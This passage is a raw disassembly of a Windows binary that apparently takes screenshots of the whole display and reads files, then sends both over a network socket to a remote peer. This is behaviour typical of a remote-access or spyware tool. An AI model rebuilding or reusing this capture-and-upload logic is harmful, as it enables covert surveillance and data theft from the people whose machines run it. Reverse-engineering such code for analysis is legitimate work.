sub esp, 0x1c
mov eax, esp
mov dword [esp + 0x2318c], 0x35
mov dword [esp + 0x54], esp
push 0x414e38
lea ecx, [esp + 0xdf8]
push ecx
push eax
jmp 0x404527
mov ecx, 0x414f48
mov dword [0x414504], 0
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_ofstream_char__struct_std::char_traits_char__::close_void_]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp case.0x4026f6.2
push 0
push 0
push 0
push str.DISPLAY
call dword [sym.imp.GDI32.dll_CreateDCA]
mov esi, eax
push esi
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov ebp, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0x4f
mov edi, eax
call ebp
push 0x4e
mov ebx, eax
call ebp
push ebx
push eax
push esi
mov dword [esp + 0x30], eax
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov ebp, eax
push ebp
push edi
call dword [sym.imp.GDI32.dll_SelectObject]
mov edx, dword [esp + 0x24]
push 0xcc0020
push 0
push 0
push esi
push ebx
push edx
push 0
push 0
push edi
call dword [sym.imp.GDI32.dll_BitBlt]
push esi
mov esi, dword [sym.imp.GDI32.dll_DeleteDC]
call esi
push edi
call esi
lea eax, [esp + 0x20]
push eax
push 1
push 0
mov dword [esp + 0x2c], 0
call dword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
lea esi, [esp + 0x1090]
call fcn.00401480
mov dword [esp + 0x2316c], 0x36
mov dword [esp + 0x1094], ebp
call fcn.00401890
mov ecx, dword [esp + 0x20]
push ecx
mov ecx, esi
call fcn.00401660
mov eax, dword [esp + 0x20]
lea edx, [esp + 0x34]
push edx
push eax
call dword [sym.imp.SHLWAPI.dll_IStream_Size]
mov ecx, dword [esp + 0x20]
mov edi, dword [esp + 0x34]
push ecx
call dword [sym.imp.SHLWAPI.dll_IStream_Reset]
push edi
call sub.MSVCR90.dll_void____cdecl_operator_new___unsigned_int_
mov edx, dword [esp + 0x24]
add esp, 4
push edi
mov ebx, eax
push ebx
push edx
call dword [sym.imp.SHLWAPI.dll_IStream_Read]
mov eax, dword [esp + 0x20]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
push ebp
call dword [sym.imp.GDI32.dll_DeleteObject]
lea eax, [edi - 0xc801]
mov dword [esp + 0x18], edi
cmp eax, 0x707fe
ja 0x40476f
push 2
call fcn.00407cc0
add esp, 4
test al, al
jne 0x404719
lea ecx, [esp + 0x1090]
call fcn.004014f0
xor al, al
jmp 0x403694
mov ecx, dword [esp + 0x18]
push ecx
call dword [sym.imp.WS2_32.dll_htonl]
mov ebp, dword [sym.imp.WS2_32.dll_send]
mov dword [esp + 0x18], eax
xor esi, esi
mov ecx, dword [0x414524]
push 0
mov edx, 4
sub edx, esi
push edx
lea eax, [esp + esi + 0x20]
push eax
push ecx
call ebp
cmp eax, 0xffffffff
je 0x404706
add esi, eax
cmp esi, 4
jl 0x404730
push 0xe
call fcn.00407cc0
add esp, 4
test al, al
je 0x404706
push ebx
call fcn.00407c80
add esp, 4
test al, al
je 0x404706
push ebx
call sub.MSVCR90.dll_void___cdecl_operator_delete___void__
add esp, 4
lea ecx, [esp + 0x1090]
call fcn.004014f0
jmp case.0x4026f6.2
lea ecx, [esp + 0xd48]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_void_]
lea edx, [esp + 0xd48]
push edx
mov dword [esp + 0x23170], 0x37
call fcn.00407e60
add esp, 4
test al, al
je 0x4049b4
cmp dword [esp + 0xd60], 0x10
mov eax, dword [esp + 0xd4c]
jae 0x4047d1
lea eax, [esp + 0xd4c]
push 0xfde9
lea ecx, [esp + 0xc4c]
push eax
lea eax, [esp + 0xc4c]
mov dword [esp + 0xc4c], ecx
call fcn.0040a750
lea edx, [esp + 0x18]
mov byte [esp + 0x2316c], 0x38
mov ecx, dword [esp + 0xc44]
push edx
call fcn.0040a5c0
mov eax, dword [esp + 0xc44]
lea ecx, [esp + 0xc48]
cmp eax, ecx
je 0x404826
push eax
call dword [sym.imp.MSVCR90.dll_free]
add esp, 4
xor ebx, ebx
push 0x7fc
lea edx, [esp + 0x20dc]
push ebx
push edx
mov dword [esp + 0x20e0], ebx
call sub.MSVCR90.dll_memset
mov eax, dword [esp + 0x24]
add esp, 0xc
mov esi, eax
jmp 0x404850
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x404850
lea edi, [esp + 0x20d4]
sub eax, esi
add edi, 0xfffffffe
jmp 0x404870
mov cx, word [edi + 2]
add edi, 2
cmp cx, bx
jne 0x404870
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [esp + 0x14]
push eax
and ecx, 3
push 1
rep movsb byte es:[edi], byte [esi]
push ebx
mov dword [esp + 0x20], ebx
call dword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
lea esi, [esp + 0xe0c]
call fcn.00401480
lea ecx, [esp + 0x20d4]
push ecx
mov byte [esp + 0x23170], 0x3b
call fcn.0040a460
mov ebx, eax
add esp, 4
mov dword [esp + 0xe10], ebx
call fcn.00401890
mov edx, dword [esp + 0x14]
push edx
mov ecx, esi
call fcn.00401660
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x24]
push eax
push ecx
call dword [sym.imp.SHLWAPI.dll_IStream_Size]
mov edx, dword [esp + 0x14]
mov edi, dword [esp + 0x24]
push edx
call dword [sym.imp.SHLWAPI.dll_IStream_Reset]
push edi
call sub.MSVCR90.dll_void____cdecl_operator_new___unsigned_int_
add esp, 4
mov ebp, eax
mov eax, dword [esp + 0x14]
push edi
push ebp
push eax
call dword [sym.imp.SHLWAPI.dll_IStream_Read]
mov eax, dword [esp + 0x14]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
push ebx
call dword [sym.imp.GDI32.dll_DeleteObject]
lea eax, [edi - 2]
mov dword [esp + 0x2c], edi
cmp eax, 0x176ffd
ja 0x4049c0
push 2
call fcn.00407cc0
add esp, 4
test al, al
je 0x40499f
mov ecx, dword [esp + 0x2c]
push ecx
call dword [sym.imp.WS2_32.dll_htonl]
mov ebx, dword [sym.imp.WS2_32.dll_send]
mov dword [esp + 0x2c], eax
xor esi, esi
jmp 0x404960
mov ecx, dword [0x414524]
push 0
mov edx, 4
sub edx, esi
push edx
lea eax, [esp + esi + 0x34]
push eax
push ecx
call ebx
cmp eax, 0xffffffff
je 0x40499f
add esi, eax
cmp esi, 4
jl 0x404960
push 0x1b
call fcn.00407cc0
add esp, 4
test al, al
je 0x40499f
push ebp
call fcn.00407c80
add esp, 4
test al, al
jne 0x4049de
lea ecx, [esp + 0xe0c]
call fcn.004014f0
lea eax, [esp + 0x18]
call fcn.0040a5a0
lea ecx, [esp + 0xd48]
jmp 0x40453f
push 5
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x54], esp
push 0x414fec
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
call fcn.00407d60
add esp, 0x20
push ebp
call sub.MSVCR90.dll_void___cdecl_operator_delete___void__
add esp, 4
lea ecx, [esp + 0xe0c]
call fcn.004014f0
lea eax, [esp + 0x18]
jmp 0x404d7a
lea ecx, [esp + 0xd48]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_void_]
lea edx, [esp + 0xd48]
push edx
mov dword [esp + 0x23170], 0x3c
call fcn.00407e60
add esp, 4
test al, al
je 0x4049b4
mov eax, dword [esp + 0xd4c]
mov esi, 0x10
cmp dword [esp + 0xd60], esi
jae 0x404a44
lea eax, [esp + 0xd4c]
push 0xfde9
lea ecx, [esp + 0xb48]
push eax
lea eax, [esp + 0xb48]
mov dword [esp + 0xb48], ecx
call fcn.0040a750
lea edx, [esp + 0x14]
mov byte [esp + 0x2316c], 0x3d
mov ecx, dword [esp + 0xb40]
push edx
call fcn.0040a5c0
mov byte [esp + 0x2316c], 0x3f
mov eax, dword [esp + 0xb40]
lea ecx, [esp + 0xb44]
cmp eax, ecx
je 0x404aa1
push eax
call dword [sym.imp.MSVCR90.dll_free]
add esp, 4
mov eax, dword [esp + 0xd4c]
cmp dword [esp + 0xd60], esi
jae 0x404ab8
lea eax, [esp + 0xd4c]
push 0x40e994
push eax
call dword [sym.imp.MSVCR90.dll_fopen]
mov edi, eax
add esp, 8
test edi, edi
jne 0x404aea
mov edx, dword [esp + 0x14]
push 0x40e998
push edx
call dword [sym.imp.MSVCR90.dll__wfopen]
mov edi, eax
add esp, 8
test edi, edi
je 0x404d76
push edi
mov byte [esp + 0x23], 1
call dword [sym.imp.MSVCR90.dll_fgetc]
add esp, 4
mov esi, eax
push esi
push 0x40e964
call dword [sym.imp.MSVCR90.dll_printf]
add esp, 8
cmp esi, 0xfe
je 0x404b22
cmp esi, 0xff
je 0x404b22
cmp esi, 0xef
jne 0x404b27
mov byte [esp + 0x1f], 0
push edi
call dword [sym.imp.MSVCR90.dll_fclose]
add esp, 4
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
lea ecx, [esp + 0x10c8]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::constructor_void_]
push 0x40
mov byte [esp + 0x23170], 0x40
mov eax, dword [esp + 0x18]
push 0x24
push eax
lea ecx, [esp + 0x10d0]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::open_wchar_t_const___int__int_]
lea ecx, [esp + 0x44]
push ecx
lea ecx, [esp + 0x10c8]
call dword [sym.imp.MSVCP90.dll_public:_class_std::fpos_int____thiscall_std::basic_istream_char__struct_std::char_traits_char__::tellg_void_]
mov ebx, dword [eax + 8]
add ebx, dword [eax]
je 0x404d54
cmp ebx, 0x7d000
jbe 0x404b90
mov ebx, 0x7d000
lea esi, [ebx + 2]
push esi
call sub.MSVCR90.dll_void____cdecl_operator_new___unsigned_int_
add esp, 4
push esi
xor esi, esi
mov ebp, eax
push esi
push ebp
call sub.MSVCR90.dll_memset
sub esp, 0xc
mov eax, esp
lea ecx, [esp + 0x10dc]
mov dword [esp + 0x4c], esp
mov dword [eax], esi
mov dword [eax + 8], esi
mov dword [eax + 0xc], esi
mov dword [eax + 0x10], esi
call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::seekg_class_std::fpos_int__]
push ebx
push ebp
lea ecx, [esp + 0x10cc]
call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::read_char___int_]
mov edi, ebp
dec edi
jmp 0x404be0
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x404be0
mov dl, byte [0x40e6c4]
push 0x1c
mov byte [edi], dl
call fcn.00407cc0
add esp, 4
test al, al
jne 0x404c28
lea ecx, [esp + 0x10c4]
mov byte [esp + 0x2316c], 0x3f
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::vbase_dtor_void_]
lea eax, [esp + 0x14]
call fcn.0040a5a0
lea ecx, [esp + 0xd48]
jmp 0x40453f
push ebx
mov dword [esp + 0x28], ebx
call dword [sym.imp.WS2_32.dll_htonl]
mov edi, dword [sym.imp.WS2_32.dll_send]
mov dword [esp + 0x24], eax
xor esi, esi
nop
mov edx, dword [0x414524]
push 0
mov eax, 4
sub eax, esi
push eax
lea ecx, [esp + esi + 0x2c]
push ecx
push edx
call edi
cmp eax, 0xffffffff
je 0x404bfe
add esi, eax
cmp esi, 4
jl 0x404c40
cmp byte [esp + 0x1f], 0
jne 0x404d38
push ebp
lea ecx, [esp + 0xda0]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__::constructor_wchar_t_const__]
mov byte [esp + 0x2316c], 0x41
cmp dword [esp + 0xdb4], 8
mov eax, dword [esp + 0xda0]
jae 0x404c9d
lea eax, [esp + 0xda0]
push 0xfde9
lea ecx, [esp + 0x168]
push eax
lea eax, [esp + 0x168]
mov dword [esp + 0x168], ecx
call fcn.0040a690
lea edx, [esp + 0x3c]
mov byte [esp + 0x2316c], 0x42
mov ecx, dword [esp + 0x160]
push edx
call fcn.0040a500
mov eax, dword [esp + 0x160]
lea ecx, [esp + 0x164]
cmp eax, ecx
je 0x404cf2
push eax
call dword [sym.imp.MSVCR90.dll_free]
add esp, 4
lea eax, [ebx + 2]
push eax
push 0
push ebp
call sub.MSVCR90.dll_memset
mov eax, dword [esp + 0x48]
mov edx, ebp
add esp, 0xc
sub edx, eax
lea esp, [esp]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x404d10
lea eax, [esp + 0x3c]
call fcn.0040a5a0
lea ecx, [esp + 0xd9c]
mov byte [esp + 0x2316c], 0x40
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__::destructor_void_]
push ebp
mov edi, ebx
call fcn.00407c80
add esp, 4
test al, al
je 0x404bfe
push ebp
call sub.MSVCR90.dll_void___cdecl_operator_delete___void__
add esp, 4
lea ecx, [esp + 0x10c4]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::close_void_]
lea ecx, [esp + 0x10c4]
mov byte [esp + 0x2316c], 0x3f
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::vbase_dtor_void_]
lea eax, [esp + 0x14]
call fcn.0040a5a0
mov dword [esp + 0x2316c], 0xffffffff
lea ecx, [esp + 0xd48]
jmp 0x40368c
lea ecx, [esp + 0xd64]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_void_]
lea edx, [esp + 0xd64]
push edx
mov dword [esp + 0x23170], 0x43
call fcn.00407e60
add esp, 4
test al, al
je 0x4051d2
lea eax, [esp + 0xd64]
push eax
lea ecx, [esp + 0xd4c]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
sub esp, 0x1c
mov byte [esp + 0x23188], 0x44
mov ecx, esp
mov dword [esp + 0x50], esp
push str.RFOX
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
lea esi, [esp + 0xd80]
call fcn.00407a00
mov ecx, esp
mov dword [esp + 0x50], esp
push str.RFOX
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
lea esi, [esp + 0xd64]
call fcn.00407aa0
mov eax, dword [esp + 0xd68]
mov edi, 0x10
add esp, 0x1c
cmp dword [esp + 0xd60], edi
jae 0x404e3f
lea eax, [esp + 0xd4c]
mov esi, dword [sym.imp.MSVCR90.dll_atoi]
push eax
call esi
mov eax, dword [esp + 0xd6c]
add esp, 4
cmp dword [esp + 0xd7c], edi
jae 0x404e62
lea eax, [esp + 0xd68]
push 0xfde9
lea ecx, [esp + 0x738]
push eax
lea eax, [esp + 0x738]
mov dword [esp + 0x738], ecx
call fcn.0040a750
lea edx, [esp + 0x14]
mov byte [esp + 0x2316c], 0x45
mov ecx, dword [esp + 0x730]
push edx
call fcn.0040a5c0
mov byte [esp + 0x2316c], 0x47
mov eax, dword [esp + 0x730]
lea ecx, [esp + 0x734]
cmp eax, ecx
je 0x404ebf
push eax
call dword [sym.imp.MSVCR90.dll_free]
add esp, 4
mov edx, dword [esp + 0x14]
push 1
push 0x40
push 1
push edx
lea ecx, [esp + 0x10d4]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::constructor_wchar_t_const___int__int_]
mov byte [esp + 0x2316c], 0x48
mov eax, dword [esp + 0x10c4]
mov ecx, dword [eax + 4]
test byte [esp + ecx + 0x10cc], 6
je 0x40502b
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x50], esp
push 0x40e9a8
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
lea ecx, [esp + 0xdf0]
call fcn.00409190
mov byte [esp + 0x23188], 0x49
mov ecx, esp
mov dword [esp + 0x50], esp
push 0x40e9c0
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
lea ecx, [esp + 0xe28]
call fcn.00409190
add esp, 0x1c
push 5
lea edx, [esp + 0xd68]
push edx
lea eax, [esp + 0xddc]
mov bl, 0x4a
push eax
lea ecx, [esp + 0x150]
mov byte [esp + 0x23178], bl
mov esi, dword [sym.imp.MSVCP90.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_char__struct_std::char_traits_char___class_std::allocator_char___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
push ecx
call esi
sub esp, 0x10
mov edx, esp
mov byte [esp + 0x2318c], 0x4b
mov dword [esp + 0x54], esp
lea ecx, [esp + 0xe2c]
push ecx
push eax
push edx
call esi
add esp, 0xc
call fcn.00407d60
add esp, 0x20
lea ecx, [esp + 0x144]
mov byte [esp + 0x2316c], bl
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
push 5
sub esp, 0x1c
mov edx, esp
mov dword [esp + 0x54], esp
lea eax, [esp + 0xd84]
push eax
lea ecx, [esp + 0xdf8]
push ecx
push edx
call esi
add esp, 0xc
call fcn.00407d60
add esp, 0x20
lea ecx, [esp + 0xe0c]
mov byte [esp + 0x2316c], 0x49
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0xdd4]
mov byte [esp + 0x2316c], 0x48
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x10c4]
mov byte [esp + 0x2316c], 0x47
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::vbase_dtor_void_]
lea eax, [esp + 0x14]
call fcn.0040a5a0
mov byte [esp + 0x2316c], 0x43
lea ecx, [esp + 0xd48]
jmp 0x403674
lea ecx, [esp + 0x10c4]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::close_void_]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [esp + 0x14]
push 0x40
push 0x24
push edx
mov ecx, 0x414ea0
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::open_wchar_t_const___int__int_]
lea eax, [esp + 0xd64]
push eax
mov ecx, 0x414e1c
call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea ecx, [esp + 0x2ec]
push ecx
mov ecx, 0x414ea0
call dword [sym.imp.MSVCP90.dll_public:_class_std::fpos_int____thiscall_std::basic_istream_char__struct_std::char_traits_char__::tellg_void_]
mov edx, dword [eax]
mov dword [0x414e88], edx
mov ecx, dword [eax + 4]
mov dword [0x414e8c], ecx
mov edx, dword [eax + 8]
mov dword [0x414e90], edx
mov ecx, dword [eax + 0xc]
mov dword [0x414e94], ecx
mov edx, dword [eax + 0x10]
mov dword [0x414e98], edx
mov eax, dword [eax + 0x14]
mov dword [0x414e9c], eax
mov eax, dword [esp + 0xd4c]
cmp dword [esp + 0xd60], edi
jae 0x4050c8
lea eax, [esp + 0xd4c]
push eax
call esi
sub esp, 0x14
mov ecx, esp
xor ebx, ebx
mov dword [ecx], eax
mov dword [ecx + 8], ebx
mov dword [ecx + 0xc], ebx
mov dword [ecx + 0x10], ebx
mov ecx, 0x414ea0
mov dword [esp + 0x4c], esp
call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::seekg_class_std::fpos_int__]
mov eax, dword [esp + 0xd4c]
cmp dword [esp + 0xd60], edi
jae 0x405103
lea eax, [esp + 0xd4c]
push eax
call esi
mov ebp, dword [esp + 0x4c]
xor ecx, ecx
mov dword [0x414e78], ecx
mov ecx, dword [esp + 0x5c]
mov dword [0x414e84], ecx
mov ecx, dword [0x414e88]
xor edx, edx
add esp, 4
mov dword [0x414e7c], edx
sub ecx, eax
add ecx, dword [0x414e90]
push 0xa
lea edx, [esp + 0x12c8]
push edx
xor esi, esi
push ecx
mov dword [0x414e70], eax
mov dword [0x414e74], ebp
mov dword [0x414e80], esi
mov dword [esp + 0x38], ecx
call dword [sym.imp.MSVCR90.dll__itoa]
add esp, 0xc
lea eax, [esp + 0x12c4]
push eax
lea ecx, [esp + 0xda0]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
push edi
mov byte [esp + 0x23170], 0x4c
call fcn.00407cc0
add esp, 4
test al, al
jne 0x4051de
lea ecx, [esp + 0xd9c]
mov byte [esp + 0x2316c], 0x48
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x10c4]
mov byte [esp + 0x2316c], 0x47
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::vbase_dtor_void_]
lea eax, [esp + 0x14]
call fcn.0040a5a0
lea ecx, [esp + 0xd48]
mov byte [esp + 0x2316c], 0x43
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0xd64]
jmp 0x40453f
mov ecx, dword [esp + 0x2c]
push ecx
call dword [sym.imp.WS2_32.dll_htonl]
mov edi, dword [sym.imp.WS2_32.dll_send]
mov dword [esp + 0x2c], eax
xor esi, esi
jmp 0x405200
mov ecx, dword [0x414524]
push ebx
mov edx, 4
sub edx, esi
push edx
lea eax, [esp + esi + 0x34]
push eax
push ecx
call edi
or ebp, 0xffffffff
cmp eax, ebp
je 0x40528d
add esi, eax
cmp esi, 4
jl 0x405200
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00406530
mov byte [esp + 0x2316c], 0x48
lea ecx, [esp + 0xd9c]
test al, al
je 0x40529c
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x10c4]
mov byte [esp + 0x2316c], 0x47
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::vbase_dtor_void_]
lea eax, [esp + 0x14]
call fcn.0040a5a0
lea ecx, [esp + 0xd48]
mov byte [esp + 0x2316c], 0x43
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov dword [esp + 0x2316c], ebp
jmp 0x403685
mov byte [esp + 0x2316c], 0x48
lea ecx, [esp + 0xd9c]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x10c4]
mov byte [esp + 0x2316c], 0x47
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::vbase_dtor_void_]
lea eax, [esp + 0x14]
call fcn.0040a5a0
lea ecx, [esp + 0xd48]
mov byte [esp + 0x2316c], 0x43
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0xd64]
mov dword [esp + 0x2316c], ebp
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
xor al, al
jmp 0x403694
lea ecx, [esp + 0xd80]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_void_]
lea edx, [esp + 0xd80]
push edx
mov dword [esp + 0x23170], 0x4d
call fcn.00407e60
add esp, 4
test al, al
je 0x405662
cmp dword [esp + 0xd98], 0x10
mov eax, dword [esp + 0xd84]
jae 0x405338
lea eax, [esp + 0xd84]
push 0xfde9
lea ecx, [esp + 0x634]
push eax
lea eax, [esp + 0x634]
mov dword [esp + 0x634], ecx
call fcn.0040a750
lea edx, [esp + 0x20]
mov byte [esp + 0x2316c], 0x4e
mov ecx, dword [esp + 0x62c]
push edx
call fcn.0040a5c0
mov byte [esp + 0x2316c], 0x50
mov eax, dword [esp + 0x62c]
lea ecx, [esp + 0x630]
cmp eax, ecx
je 0x405395
push eax
call dword [sym.imp.MSVCR90.dll_free]
add esp, 4
mov edx, dword [esp + 0x20]
push 1
push 0x40
push 1
push edx
lea ecx, [esp + 0x11d4]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::constructor_wchar_t_const___int__int_]
mov byte [esp + 0x2316c], 0x51
mov eax, dword [esp + 0x11c4]
mov ecx, dword [eax + 4]
test byte [esp + ecx + 0x11cc], 6
je 0x405504
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x50], esp
push 0x40e9a8
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
lea ecx, [esp + 0xdd4]
call fcn.00409190
mov byte [esp + 0x23188], 0x52
mov ecx, esp
mov dword [esp + 0x50], esp
push 0x40e9c0
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
lea ecx, [esp + 0x10ac]
call fcn.00409190
add esp, 0x1c
push 5
lea edx, [esp + 0xd84]
push edx
lea eax, [esp + 0xdc0]
mov bl, 0x53
push eax
lea ecx, [esp + 0xc4]
mov byte [esp + 0x23178], bl
mov esi, dword [sym.imp.MSVCP90.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_char__struct_std::char_traits_char___class_std::allocator_char___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
push ecx
call esi
sub esp, 0x10
mov edx, esp
mov byte [esp + 0x2318c], 0x54
mov dword [esp + 0x54], esp
lea ecx, [esp + 0x10b0]
push ecx
push eax
push edx
call esi
add esp, 0xc
call fcn.00407d60
add esp, 0x20
lea ecx, [esp + 0xb8]
mov byte [esp + 0x2316c], bl
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
push 5
sub esp, 0x1c
mov edx, esp
mov dword [esp + 0x54], esp
lea eax, [esp + 0xda0]
push eax
lea ecx, [esp + 0xddc]
push ecx
push edx
call esi
add esp, 0xc
call fcn.00407d60
add esp, 0x20
lea ecx, [esp + 0x1090]
mov byte [esp + 0x2316c], 0x52
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov byte [esp + 0x2316c], 0x51
lea ecx, [esp + 0xdb8]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x11c4]
mov byte [esp + 0x2316c], 0x50
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::vbase_dtor_void_]
lea eax, [esp + 0x20]
call fcn.0040a5a0
mov dword [esp + 0x2316c], 0xffffffff
lea ecx, [esp + 0xd80]
jmp 0x40368c
lea ecx, [esp + 0x11c4]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::close_void_]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1f4
call ebx
mov edx, dword [esp + 0x20]
push 0x40
push 0x24
push edx
mov ecx, 0x414ea0
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_ifstream_char__struct_std::char_traits_char__::open_wchar_t_const___int__int_]
lea eax, [esp + 0xd80]
push eax
mov ecx, 0x414e1c
